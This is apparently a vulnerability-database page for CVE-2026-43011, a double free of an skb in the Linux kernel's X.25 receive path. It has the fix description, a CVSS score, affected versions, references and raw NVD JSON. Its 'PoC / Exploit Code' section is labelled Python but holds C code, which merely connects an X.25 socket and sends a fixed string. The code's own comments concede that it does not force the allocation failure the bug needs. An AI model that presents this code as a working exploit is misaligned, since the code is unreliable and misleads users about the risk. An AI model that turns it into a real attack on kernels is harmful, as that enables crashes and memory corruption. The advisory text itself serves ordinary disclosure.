CVE-2026-43011

Description

In the Linux kernel, the following vulnerability has been resolved: net/x25: Fix potential double free of skb When alloc_skb fails in x25_queue_rx_frame it calls kfree_skb(skb) at line 48 and returns 1 (error). This error propagates back through the call chain: x25_queue_rx_frame returns 1 | v x25_state3_machine receives the return value 1 and takes the else branch at line 278, setting queued=0 and returning 0 | v x25_process_rx_frame returns queued=0 | v x25_backlog_rcv at line 452 sees queued=0 and calls kfree_skb(skb) again This would free the same skb twice. Looking at x25_backlog_rcv: net/x25/x25_in.c:x25_backlog_rcv() { ... queued = x25_process_rx_frame(sk, skb); ... if (!queued) kfree_skb(skb); }

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (所有未包含修复补丁的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43011: Linux kernel net/x25 Double Free
 * This code attempts to trigger the vulnerability by sending malformed
 * X.25 data to force the allocation failure path.
 * Compile: gcc -o poc_x25 poc_x25.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/x25.h>

int main() {
    int sockfd;
    struct sockaddr_x25 addr;
    char *data = "TRIGGER_DATA";

    // Create an X.25 socket
    sockfd = socket(AF_X25, SOCK_SEQPACKET, 0);
    if (sockfd < 0) {
        perror("socket");
        return -1;
    }

    memset(&addr, 0, sizeof(addr));
    addr.sx25_family = AF_X25;
    // Set a target X.25 address
    memcpy(addr.sx25_addr.x25_addr, "0001", 4);

    // Attempt to connect to trigger the receive path logic
    // Note: Actual exploitation requires specific kernel configuration
    // and memory pressure to force alloc_skb failure.
    if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        perror("connect");
        close(sockfd);
        return -1;
    }

    // Send data to potentially trigger the rx_frame queue processing
    write(sockfd, data, strlen(data));

    printf("[+] Data sent, check kernel logs for crashes or double free corruption.\n");

    close(sockfd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43011
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43011
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43011/
[4] VulDB https://vuldb.com/cve/CVE-2026-43011
[5] https://git.kernel.org/stable/c/143d4fa68ae9efb83b0c55b12cc7f0d03732a2b1
[6] https://git.kernel.org/stable/c/3f5e3005984645bf5bd129c6b13149879580b1fb
[7] https://git.kernel.org/stable/c/524371398d8463ea7e101fce2cbf3915645d1730
[8] https://git.kernel.org/stable/c/5d0aa038a90b30c9bedde0c41c1fdcd98ecb16e9
[9] https://git.kernel.org/stable/c/c87dd137c0dad07cc55f98181ff380b0c23d2878
[10] https://git.kernel.org/stable/c/d10a26aa4d072320530e6968ef945c8c575edf61
[11] https://git.kernel.org/stable/c/f782dd382203b2a8c4552a628431b7de65a19a7b
[12] https://git.kernel.org/stable/c/fa1dbc93530b34fab0da9862426fe9c918c74dc0

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43011", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:44.993", "lastModified": "2026-05-07T20:26:58.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/x25: Fix potential double free of skb\n\nWhen alloc_skb fails in x25_queue_rx_frame it calls kfree_skb(skb) at\nline 48 and returns 1 (error).\nThis error propagates back through the call chain:\n\nx25_queue_rx_frame returns 1\n |\n v\nx25_state3_machine receives the return value 1 and takes the else\nbranch at line 278, setting queued=0 and returning 0\n |\n v\nx25_process_rx_frame returns queued=0\n |\n v\nx25_backlog_rcv at line 452 sees queued=0 and calls kfree_skb(skb)\nagain\n\nThis would free the same skb twice. Looking at x25_backlog_rcv:\n\nnet/x25/x25_in.c:x25_backlog_rcv() {\n ...\n queued = x25_process_rx_frame(sk, skb);\n ...\n if (!queued)\n kfree_skb(skb);\n}"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.12.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "5F0E43E1-33E5-4828-9B4A-F710AF2E7217"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:-:*:*:*:*:*:*", "matchCriteriaId": "6F62EECE-8FB1-4D57-85D8-CB9E23CF313C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc2:*:*:*:*:*:*", "matchCriteriaId": "4F76C298-81DC-43E4-8FC9-DC005A2116EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc3:*:*:*:*:*:*", "matchCriteriaId": "0AB349B2-3F78-4197-882B-90ADB3BF645A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc4:*:*:*:*:*:*", "matchCriteriaId": "6AC88830-A9BC-4607-B572-A4B502FC9FD0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc5:*:*:*:*:*:*", "matchCriteriaId": "476CB3A5-D022-4F13-AAEF-CB6A5785516A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/143d4fa68ae9efb83b0c55b12cc7f0d03732a2b1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ... (truncated)